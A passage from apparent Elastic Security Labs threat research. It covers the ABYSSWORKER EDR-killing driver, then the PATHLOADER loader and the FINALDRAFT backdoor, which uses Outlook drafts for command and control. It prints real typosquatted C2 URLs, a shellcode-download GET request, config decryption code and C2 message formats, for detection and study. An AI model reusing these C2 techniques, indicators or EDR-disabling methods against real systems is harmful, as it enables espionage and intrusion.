<p>Another way to interfere with a driver is by using this handler to replace all its major functions with a dummy function, thus disabling any interaction with the driver, given a target module name.</p>
<p>To achieve this, ABYSSWORKER iterates through the driver objects in the <code>Driver</code> and <code>Filesystem</code> object directories. For each driver object, it compares the underlying module name to the target module, and if they match, it replaces all of its major functions with <code>IopInvalidDeviceRequest</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image36.png" alt="Replacing targeted driver major functions with dummy functions 0x9434" /></p>
<h3>Detach mini filter devices (0x222440)</h3>
<p>This handler iterates over all driver objects found in the <code>Driver</code> and <code>FileSystem</code> object directories. For each driver, it explores its device tree and detaches all devices associated with the mini filter driver: <code>FltMgr.sys</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image39.png" alt="Searching object directories for FltMgr.sys driver to delete its devices 0xE1D8" /></p>
<p>The function works by iterating over the devices of the driver through the <code>AttachedDevice</code> and <code>NextDevice</code> pointers, retrieving the module name of each device's associated driver, and comparing it to the target module name passed as a parameter (<code>”FltMgr.sys”</code>). If the names match, it uses the <code>IoDetachDevice</code> function to unlink the device.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image32.png" alt="Iterating and detaching all devices by module name 0xB9E" /></p>
<h3>Kill system threads by module name (0x222408)</h3>
<p>This handler iterates over threads by brute-forcing their thread IDs and kills them if the thread is a system thread and its start address belongs to the targeted module.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image8.png" alt="Brute-forcing threads to find and terminate targeted module system threads 0xECE6" /></p>
<p>To terminate the thread, the malware queues an APC (asynchronous procedure call) to execute code in the context of the targeted thread. Once executed, this code will, in turn, call <code>PsTerminateSystemThread</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image27.png" alt="ABYSSWORKER queuing APC to terminate target thread 0x10A6" /></p>
<h3>Terminate process and terminate thread (0x222144, 0x222140)</h3>
<p>With these two handlers you can terminate any process or a thread by their PID or Thread ID (TID) using <code>PsTerminateProcess</code> and <code>PsTerminateThread</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image37.png" alt="Terminating process by PID 0x2081" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image13.png" alt="Terminating thread by TID 0x1F07" /></p>
<h3>Removing hooks from Ntfs and Pnp drivers' major functions (0x222444)</h3>
<p>On top of registering notification callbacks, some EDRs like to hook major functions of the <code>NTFS</code> and <code>PNP</code> drivers. To remove those hooks, the malware can call this driver to restore the original major functions of those drivers.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image25.png" alt="Restoring hooked NTFS and PNP driver major functions 0x2D32" /></p>
<p>ABYSSWORKER simply iterates over each registered major function, checks if the function belongs to the driver module, and if not, it means the function has been hooked, so it replaces it with the original functions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image38.png" alt="Restoring major function if hooked 0x43AD" /></p>
<h3>Reboot <code>0x222664</code></h3>
<p>To reboot the machine, this handler uses the undocumented function <code>HalReturnToFirmware</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image19.png" alt="ABYSSWORKER reboot the machine from the kernel 0x2DC0" /></p>
<h1>Client implementation example</h1>
<p>In this blog post, we provide a small client implementation example. This example works with the reference sample and was used to debug it, but doesn’t implement all the IOCTRLs for the driver and is unlikely to be updated in the future.</p>
<p>However, it contains all the functions to enable it and load its API, so we hope that any motivated reader, with the help of the information in this article, will be able to extend it and further experiment with this malware.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image2.png" alt="Client example output" /></p>
<p>The repository of the project is available <a href="https://github.com/elastic/labs-releases/tree/main/tools/abyssworker/client">here</a>.</p>
<h1>Malware and MITRE ATT&amp;CK</h1>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h2>Tactics</h2>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
</ul>
<h2>Techniques</h2>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1222">File and Directory Permissions Modification</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001">Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1553/002">Code Signing</a></li>
</ul>
<h1>Mitigations</h1>
<h2>YARA</h2>
<p>Elastic Security has created the following YARA rules related to this post:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Rootkit_AbyssWorker.yar">https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Rootkit_AbyssWorker.yar</a></li>
</ul>
<h1>Observations</h1>
<p>The following observables were discussed in this research:</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Reference</th>
<th align="left">Date</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>6a2a0f9c56ee9bf7b62e1d4e1929d13046cd78a93d8c607fe4728cc5b1e8d050</code></td>
<td align="left">SHA256</td>
<td align="left">ABYSSWORKER reference sample</td>
<td align="left">VT first seen: 2025-01-22</td>
</tr>
<tr>
<td align="left"><code>b7703a59c39a0d2f7ef6422945aaeaaf061431af0533557246397551b8eed505</code></td>
<td align="left">SHA256</td>
<td align="left">ABYSSWORKER sample</td>
<td align="left">VT first seen: 2025-01-27</td>
</tr>
</tbody>
</table>
<h1>References</h1>
<ul>
<li>Google Cloud Mandiant, Mandiant Intelligence. I Solemnly Swear My Driver Is Up to No Good: Hunting for Attestation Signed Malware. <a href="https://cloud.google.com/blog/topics/threat-intelligence/hunting-attestation-signed-malware/">https://cloud.google.com/blog/topics/threat-intelligence/hunting-attestation-signed-malware/</a></li>
<li>Unit42, Jerome Tujague, Daniel Bunce. Crypted Hearts: Exposing the HeartCrypt Packer-as-a-Service Operation, December 13, 2024. <a href="https://unit42.paloaltonetworks.com/packer-as-a-service-heartcrypt-malware/">https://unit42.paloaltonetworks.com/packer-as-a-service-heartcrypt-malware/</a></li>
<li>ConnectWise, Blake Eakin. &quot;Attackers Leveraging Microsoft Teams Defaults and Quick Assist for Social Engineering Attacks&quot;, January 31 2025. <a href="https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c/">https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c/</a></li>
<li>wavestone-cdt, Aug 30, 2024. <a href="https://github.com/wavestone-cdt/EDRSandblast/tree/master">https://github.com/wavestone-cdt/EDRSandblast/tree/master</a></li>
<li>myzxcg, May 24, 2024. <a href="https://github.com/myzxcg/RealBlindingEDR">https://github.com/myzxcg/RealBlindingEDR</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/abyssworker.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[You've Got Malware: FINALDRAFT Hides in Your Drafts]]></title>
            <link>https://www.elastic.co/pt/security-labs/finaldraft</link>
            <guid>finaldraft</guid>
            <pubDate>Thu, 13 Feb 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[During a recent investigation (REF7707), Elastic Security Labs discovered new malware targeting a foreign ministry. The malware includes a custom loader and backdoor with many features including using Microsoft’s Graph API for C2 communications.]]></description>
            <content:encoded><![CDATA[<h1>Summary</h1>
<p>While investigating REF7707, Elastic Security Labs discovered a new family of previously unknown malware that leverages Outlook as a communication channel via the Microsoft Graph API. This post-exploitation kit includes a loader, a backdoor, and multiple submodules that enable advanced post-exploitation activities.</p>
<p>Our analysis uncovered a Linux variant and an older PE variant of the malware, each with multiple distinct versions that suggest these tools have been under development for some time.</p>
<p>The completeness of the tools and the level of engineering involved suggest that the developers are well-organized. The extended time frame of the operation and evidence from our telemetry suggest it’s likely an espionage-oriented campaign.</p>
<p>This report details the features and capabilities of these tools.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image47.png" alt="PATHLOADER &amp; FINALDRAFT execution diagram" /></p>
<p>For the campaign analysis of REF7707 - check out <a href="https://www.elastic.co/pt/security-labs/fragile-web-ref7707">From South America to Southeast Asia: The Fragile Web of REF7707</a>.</p>
<h1>Technical Analysis</h1>
<h2>PATHLOADER</h2>
<p>PATHLOADER is a Windows PE file that downloads and executes encrypted shellcode retrieved from external infrastructure.</p>
<p>Our team recovered and decrypted the shellcode retrieved by PATHLOADER, extracting a new implant we have not seen publicly reported, which we call FINALDRAFT. We believe these two components are used together to infiltrate sensitive environments.</p>
<h3>Configuration</h3>
<p>PATHLOADER is a lightweight Windows executable at 206 kilobytes; this program downloads and executes shellcode hosted on a remote server. PATHLOADER includes an embedded configuration stored in the <code>.data</code> section that includes C2 and other relevant settings.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image7.png" alt="Embedded configuration" /></p>
<p>After Base64 decoding and converting from the embedded hex string, the original configuration is recovered with two unique typosquatted domains resembling security vendors.</p>
<pre><code>https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*
</code></pre>
<p><em>Configuration from PATHLOADER</em></p>
<h3>API Hashing</h3>
<p>In order to block static analysis efforts, PATHLOADER performs API hashing using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler–Noll–Vo hash</a> function. This can be observed based on the immediate value <code>0x1000193</code> found 37 times inside the binary. The API hashing functionality shows up as in-line as opposed to a separate individual function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image10.png" alt="Occurrences of value 0x1000193" /></p>
<h3>String Obfuscation</h3>
<p>PATHLOADER uses string encryption to obfuscate functionality from analysts reviewing the program statically. While the strings are easy to decrypt while running or if using a debugger, the obfuscation shows up in line, increasing the complexity and making it more challenging to follow the control flow. This obfuscation uses SIMD (Single Instruction, Multiple Data) instructions and XMM registers to transform the data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image56.png" alt="String obfuscation example" /></p>
<p>One string related to logging <code>WinHttpSendRequest</code> error codes used by the malware developer was left unencrypted.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image55.png" alt="Logging string left unencrypted" /></p>
<h3>Execution/Behavior</h3>
<p>Upon execution, PATHLOADER employs a combination of  <code>GetTickCount64</code> and <code>Sleep</code> methods to avoid immediate execution in a sandbox environment. After a few minutes, PATHLOADER parses its embedded configuration, cycling through both preconfigured C2 domains (<code>poster.checkponit[.]com</code>, <code>support.fortineat[.]com</code>) attempting to download the shellcode through <code>HTTPS</code> <code>GET</code> requests.</p>
<pre><code>GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36
</code></pre>
<p>The shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL path <code>“/nzoMeFYgvjyXK3P”</code> as the 128-bit key used in the call to the <code>CryptImportKey</code> API.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image53.png" alt="CryptImportKey parameters" /></p>
<p>After the <code>CryptDecrypt</code> call, the decrypted shellcode is copied into previously allocated memory. The memory page is then set to <code>PAGE_EXECUTE_READ_WRITE</code> using the <code>NtProtectVirtualMemory</code> API. Once the page is set to the appropriate protection, the shellcode entrypoint is called, which in turn loads and executes the next stage: FINALDRAFT.</p>
<h2>FINALDRAFT</h2>
<p>FINALDRAFT is a 64-bit malware written in C++ that focuses on data exfiltration and process injection. It includes additional modules, identified as parts of the FINALDRAFT kit, which can be injected by the malware. The output from these modules is then forwarded to the C2 server.</p>
<h3>Entrypoint</h3>
<p>FINALDRAFT exports a single entry point as its entry function. The name of this function varies between samples; in this sample, it is called <code>UpdateTask</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image51.png" alt="PE export of FINALDRAFT" /></p>
<h3>Initialization</h3>
<p>The malware is initialized by loading its configuration and generating a session ID.</p>
<h4>Configuration loading process</h4>
<p>The configuration is hardcoded in the binary in an encrypted blob. It is decrypted using the following algorithm.</p>
<pre><code class="language-c">for ( i = 0; i &lt; 0x149A; ++i )
  configuration[i] ^= decryption_key[i &amp; 7];
</code></pre>
<p><em>Decryption algorithm for configuration data</em></p>
<p>The decryption key is derived either from the Windows product ID (<code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId</code>) or from a string located after the encrypted blob. This is determined by a global flag located after the encrypted configuration blob.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image8.png" alt="Decryption key and flag found after the encrypted config blob" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image41.png" alt="Choice between the decryption key or Windows product ID for derivation" /></p>
<p>The decryption key derivation algorithm is performed as follows:</p>
<pre><code class="language-c">uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &amp;data_source[data_source_length] );
</code></pre>
<p><em>Decryption key derivation algorithm</em></p>
<p>The configuration structure is described as follows:</p>
<pre><code class="language-c">struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};
</code></pre>
<p><em>Configuration structure</em></p>
<p>The configuration is consistent across variants and versions, although not all fields are utilized. For example, the communication method field wasn't used in the main variant at the time of this publication, and only the MSGraph/Outlook method was used. However, this is not the case in the ELF variant or prior versions of FINALDRAFT.</p>
<p>The configuration also contains a Pastebin URL, which isn’t used across any of the variants. However, this URL was quite useful to us for pivoting from the initial sample.</p>
<h4>Session ID derivation process</h4>
<p>The session ID used for communication between FINALDRAFT and C2 is generated by creating a random GUID, which is then processed using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler-Noll-Vo</a> (FNV) hash function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image43.png" alt="FINALDRAFT client ID generation" /></p>
<h3>Communication protocol</h3>
<p>During our analysis, we discovered that different communication methods are available from the configuration; however, the most contemporary sample at this time uses only the <code>COutlookTrans</code> class, which abuses the Outlook mail service via the Microsoft Graph API. This same technique was observed in <a href="https://www.elastic.co/pt/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">SIESTAGRAPH</a>, a previously unknown malware family reported by Elastic Security Labs in February 2023 and attributed to a PRC-affiliated threat group.</p>
<p>The Microsoft Graph API token is obtained by FINALDRAFT using the <a href="https://login.microsoftonline.com/common/oauth2/token">https://login.microsoftonline.com/common/oauth2/token</a> endpoint. The refresh token used for this endpoint is located in the configuration.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image36.png" alt="Building refresh token request" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image40.png" alt="Token refresh POST request" /></p>
<p>Once refreshed, the Microsoft Graph API token is stored in the following registry paths based on whether the user has administrator privileges:</p>
<ul>
<li><code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\&lt;uuid_from_configuration&gt;</code></li>
<li><code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\&lt;uuid_from_configuration&gt;</code></li>
</ul>
<p>This token is reused across requests, if it is still valid.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image3.png" alt="Storing refresh token in the registry" /></p>
<p>The communication loop is described as follows:</p>
<ul>
<li>Create a session email draft if it doesn’t already exist.</li>
<li>Read and delete command request email drafts created by the C2.</li>
<li>Process commands</li>
<li>Write command response emails as drafts for each processed command.</li>
</ul>
<p>A check is performed to determine whether a session email, in the form of a command response email identified by the subject <code>p_&lt;session-id&gt;</code>, already exists. If it does not, one is created in the mail drafts. The content of this email is base64 encoded but not AES encrypted.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image19.png" alt="Check for session email and create one if it doesn't exist" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image46.png" alt="Session email: GET and POST requests" /></p>
<p>The session data is described in the structure below.</p>
<pre><code class="language-c">struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};
</code></pre>
<p><em>Session data structure</em></p>
<p>The command queue is filled by checking the last five C2 command request emails in the mail drafts, which have subjects <code>r_&lt;session-id&gt;</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image39.png" alt="Checking for commands email" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image49.png" alt="Command polling GET request" /></p>
<p>After reading the request, emails are then deleted.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image15.png" alt="Deleting command email after reading" /></p>
<p>Commands are then processed, and responses are written into new draft emails, each with the same <code>p_&lt;session-id&gt;</code> subject for each command response.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image13.png" alt="Command response POST request" /></p>
<p>Content for message requests and responses are <strong>Zlib</strong> compressed, <strong>AES CBC</strong> encrypted, and Base64 encoded. The AES key used for encryption and decryption is located in the configuration blob.</p>
<p><code>Base64(AESEncrypt(ZlibCompress(data)))</code></p>
<p>Request messages sent from the C2 to the implant follow this structure.</p>
<pre><code class="language-c">struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)
  
  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};
</code></pre>
<p><em>Request message structure</em></p>
<p>Response messages sent from the implant to C2 follow this structure.</p>
<pre><code class="language-c">struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;		// Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;
  
  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};
</code></pre>
<p><em>Response message structure</em></p>
<p>Here is an example of data stolen by the implant.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image52.png" alt="Response message example" /></p>
<h3>Commands</h3>
<p>FinalDraft registers 37 command handlers, with most capabilities revolving around process injection, file manipulation, and network proxy capabilities.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image23.png" alt="FINALDRAFT command handler setup" /></p>
<p>Below is a table of the commands and their IDs:</p>
<table>
<thead>
<tr>
<th align="left">ID</th>
<th align="left">Name</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">0</td>
<td align="left">GatherComputerInformation</td>
</tr>
<tr>
<td align="left">2</td>
<td align="left">StartTcpServerProxyToC2</td>
</tr>
<tr>
<td align="left">3</td>
<td align="left">StopTcpServerProxyToC2</td>
</tr>
<tr>
<td align="left">4</td>
<td align="left">ConnectToTcpTargetStartProxyToC2</td>
</tr>
<tr>
<td align="left">5</td>
<td align="left">SetSleepValue</td>
</tr>
<tr>
<td align="left">6</td>
<td align="left">DeleteNetworkProjectorFwRuleAndStopTCPServer</td>
</tr>
<tr>
<td align="left">8</td>
<td align="left">ConnectToTcpTarget</td>
</tr>
<tr>
<td align="left">9</td>
<td align="left">SendDataToUdpOrTcpTarget</td>
</tr>
<tr>
<td align="left">10</td>
<td align="left">CloseTcpConnection</td>
</tr>
<tr>
<td align="left">11</td>
<td align="left">DoProcessInjectionSendOutputEx</td>
</tr>
<tr>
<td align="left">12</td>
<td align="left">ListFiles</td>
</tr>
<tr>
<td align="left">13</td>
<td align="left">ListAvailableDrives</td>
</tr>
<tr>
<td align="left">14</td>
<td align="left">CreateDirectory</td>
</tr>
<tr>
<td align="left">15</td>
<td align="left">DeleteFileOrDirectory</td>
</tr>
<tr>
<td align="left">16</td>
<td align="left">DownloadFile</td>
</tr>
<tr>
<td align="left">17</td>
<td align="left">UploadFile0</td>
</tr>
<tr>
<td align="left">18</td>
<td align="left">DummyFunction</td>
</tr>
<tr>
<td align="left">19</td>
<td align="left">SetCurrentDirectory</td>
</tr>
<tr>
<td align="left">20</td>
<td align="left">GetCurrentDirectory</td>
</tr>
<tr>
<td align="left">21</td>
<td align="left">ListRunningProcesses</td>
</tr>
<tr>
<td align="left">24</td>
<td align="left">DoProcessInjectionNoOutput</td>
</tr>
<tr>
<td align="left">25</td>
<td align="left">DoProcessInjectionNoOutput (Same as 24)</td>
</tr>
<tr>
<td align="left">26</td>
<td align="left">DoProcessInjectionSendOutput1</td>
</tr>
<tr>
<td align="left">28</td>
<td align="left">DisconnectFromNamedPipe</td>
</tr>
<tr>
<td align="left">30</td>
<td align="left">ConnectToNamedPipeAndProxyMessageToC2</td>
</tr>
<tr>
<td align="left">31</td>
<td align="left">GetCurrentProcessTokenInformation</td>
</tr>
<tr>
<td align="left">32</td>
<td align="left">EnumerateActiveSessions</td>
</tr>
<tr>
<td align="left">33</td>
<td align="left">ListActiveTcpUdpConnections</td>
</tr>
<tr>
<td align="left">35</td>
<td align="left">MoveFile1</td>
</tr>
<tr>
<td align="left">36</td>
<td align="left">GetOrSetFileTime</td>
</tr>
<tr>
<td align="left">39</td>
<td align="left">UploadFile1</td>
</tr>
<tr>
<td align="left">41</td>
<td align="left">MoveFile0</td>
</tr>
<tr>
<td align="left">42</td>
<td align="left">CopyFileOrCopyDirectory</td>
</tr>
<tr>
<td align="left">43</td>
<td align="left">TerminateProcess</td>
</tr>
<tr>
<td align="left">44</td>
<td align="left">CreateProcess</td>
</tr>
</tbody>
</table>
<p><em>FINALDRAFT command handler table</em></p>
<h3>Gather computer information</h3>
<p>Upon execution of the <code>GatherComputerInformation</code> command, information about the victim machine is collected and sent by FINALDRAFT. This information includes the computer name, the account username, internal and external IP addresses, and details about running processes.</p>
<p>This structure is described as follows:</p>
<pre><code class="language-c">struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};
</code></pre>
<p><em>Collected information structure</em></p>
<p>The external IP address is collected when enabled in the configuration.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image37.png" alt="Retrieve external IP if flag is set" /></p>
<p>This address is obtained by FINALDRAFT using the following list of public services.</p>
<table>
<thead>
<tr>
<th align="left">Public service</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>hxxps://ip-api.io/json</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://ipinfo.io/json</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://myexternalip.com/raw</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://ipapi.co/json/</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://jsonip.com/</code></td>
</tr>
</tbody>
</table>
<p><em>IP lookup service list</em></p>
<h3>Process injection</h3>
<p>FINALDRAFT has multiple process injection-related commands that can inject into either running processes or create a hidden process to inject into.</p>
<p>In cases where a process is created, the target process is either an executable path provided as a parameter to the command or defaults to <code>mspaint.exe</code> or <code>conhost.exe</code> as a fallback.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image50.png" alt="mspaint.exe process injection target" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image33.png" alt="conhost.exe process injection target" /></p>
<p>Depending on the command and its parameters, the process can be optionally created with its standard output handle piped. In this case, once the process is injected, FINALDRAFT reads from the pipe's output and sends its content along with the command response.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image44.png" alt="Create hidden process with piped STD handles" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image24.png" alt="Read process' piped stdout" /></p>
<p>Another option exists where, instead of piping the standard handle of the process, FINALDRAFT, after creating and injecting the process, waits for the payload to create a Windows named pipe. It then connects to the pipe, writes some information to it, reads its output, and sends the data to the C2 through a separate channel. (In the case of the Outlook transport channel, this involves creating an additional draft email.).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image58.png" alt="Wait for injected process to create its named pipe" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image29.png" alt="Read from named pipe and send to C2" /></p>
<p>The process injection procedure is basic and based on <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, and <code>RtlCreateUserThread</code> API.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image48.png" alt="Process injection method" /></p>
<h3>Forwarding data from TCP, UDP, and named pipes</h3>
<p>FINALDRAFT offers various methods of proxying data to C2, including UDP and TCP listeners, and a named pipe client.</p>
<p>Proxying UDP and TCP data involves handling incoming communication differently based on the protocol. For UDP, messages are received directly from the sender, while for TCP, client connections are accepted before receiving data. In both cases, the data is read from the socket and forwarded to the transport channel.</p>
<p>Below is an example screenshot of the <code>recvfrom</code> call from the UDP listener.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image16.png" alt="Received data from UDP client" /></p>
<p>Before starting the TCP listener server, FINALDRAFT adds a rule to the Windows Firewall. This rule is removed when the server shuts down. To add/remove these rules the malware uses <strong>COM</strong> and the <a href="https://learn.microsoft.com/en-us/windows/win32/api/netfw/nn-netfw-inetfwpolicy2">INetFwPolicy2</a> and the <a href="https://learn.microsoft.com/en-us/windows/win32/api/netfw/nn-netfw-inetfwrule">INetFwRule</a> interfaces.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image34.png" alt="FINALDRAFT adds firewall rule to allow TCP server" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image30.png" alt="Instantiating the NetFwPolicy2 COM interface" /></p>
<p>FINALDRAFT can also establish a TCP connection to a target. In this case, it sends a magic value, <code>“\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12”</code> and expects the server to echo the same magic value back before beginning to forward the received data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image27.png" alt="Send and receive magic data to/from TCP target" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image18.png" alt="Magic data blob" /></p>
<p>For the named pipe, FINALDRAFT only connects to an existing pipe. The pipe name must be provided as a parameter to the command, after which it reads the data and forwards it through a separate channel.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image31.png" alt="Forward data from named pipe" /></p>
<h3>File manipulation</h3>
<p>For the file deletion functionality, FINALDRAFT prevents file recovery by overwriting file data with zeros before deleting them.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image54.png" alt="Zero out file before deletion" /></p>
<p>FINALDRAFT defaults to <code>CopyFileW</code> for file copying. However, if it fails, it will attempt to copy the file at the NTFS cluster level.</p>
<p>It first opens the source file as a drive handle. To retrieve the cluster size of the volume where the file resides, it uses <code>GetDiskFreeSpaceW</code> to retrieve information about the number of sectors per cluster and bytes per sector. <code>DeviceIoControl</code> is then called with <code>FSCTL_GET_RETRIEVAL_POINTERS</code> to retrieve details of extents: locations on disk storing the data of the specified file and how much data is stored there in terms of cluster size.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image14.png" alt="Retrieving file data extents" /></p>
<p>For each extent, it uses <code>SetFilePointer</code> to move the source file pointer to the corresponding offset in the volume; reading and writing one cluster of data at a time from the source file to the destination file.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image57.png" alt="Read/write file between clusters" /></p>
<p>If the file does not have associated cluster mappings, it is a resident file, and data is stored in the MFT itself. It uses the file's MFT index to get its raw MFT record. The record is then parsed to locate the <code>$DATA</code> attribute (type identifier  = 128). Data is then extracted from this attribute and written to the destination file using <code>WriteFile</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/finaldraft/image17.png" alt="Copy resident files using MFT records" /></p>
<h3>Injected Modules</h3>
<p>Our team observed several additional modules loaded through the <code>DoProcessInjectionSendOutputEx</code> command handler performing process injection and writing the output back through a named pipe. This shellcode injected by FINALDRAFT leverages the well-known <a href="https://github.com/monoxgas/sRDI/blob/master/ShellcodeRDI/ShellcodeRDI.c">sRDI</a> project, enabling the loading of a fully-fledged PE DLL into memory within the same process, resolving its imports and calling its export entrypoint.</p>
<h4>Network enumeration (<code>ipconfig.x64.dll</code>)</h4>
<p>This module creates a named pipe (<code>\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1</code>) waiting for FINALDRAFT to connect to it.  Perhaps to prevent analysis/sandboxing, the threat actor used a password (<code>Aslire597</code>) as an argument, if the password is incorrect, the module will not run.</p>
